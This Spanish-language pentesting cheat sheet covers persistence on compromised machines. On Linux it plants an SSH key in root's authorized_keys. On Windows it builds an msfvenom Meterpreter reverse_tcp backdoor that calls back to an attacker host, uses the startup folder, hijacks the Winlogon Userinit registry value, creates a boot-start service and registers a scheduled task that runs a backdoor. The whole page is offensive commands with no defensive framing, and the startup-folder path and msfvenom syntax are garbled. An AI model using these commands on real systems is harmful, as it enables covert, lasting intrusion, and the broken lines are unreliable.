> For the complete documentation index, see [llms.txt](https://hack.jesssperez.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hack.jesssperez.com/network+hacking/persistence.md).

# Persistence

## Linux

### Añadir id\_rsa

```bash
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub | tr -d '\n' | xclip -sel clip

cd /root/.ssh
nano authorized_keys
```

## Windows

### Windows Meterpreter backdoor

```bash
msfvenom -p windows/meterpreter/reverse_tcp <LHOST> <LPORT> -f exe > backdoor.exe
```

### Startup folder persistence

{% code overflow="wrap" %}

```powershell
C:\Users%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. %username%
```

{% endcode %}

### Editando registro Winlogon

{% code overflow="wrap" %}

```powershell
# When a user logs in Userinit.exe will be executed and then our backdoor.
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, <path-to-backdoor>" /f
```

{% endcode %}

### Creando servicio

{% code overflow="wrap" %}

```powershell
powershell_shell
New-Service -Name "<SERVICE_NAME>" -BinaryPathName "<PATH_TO_BINARY>" -Description "<SERVICE_DESCRIPTION>" -StartupType "Boot"
```

{% endcode %}

### Tarea programada

{% code overflow="wrap" %}

```powershell
powershell_shell
$Action = New-ScheduledTaskAction -Execute 'pwsh.exe' -Argument '-NonInteractive -NoLogo -NoProfile -File "pat-to-backdoor"'
$Trigger = New-ScheduledTaskTrigger -Once -At 3am
$Settings = New-ScheduledTaskSettingsSet
$Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Settings
Register-ScheduledTask -TaskName 'task-name' -InputObject $Task -User 'username' -Password 'pass'
```

{% endcode %}
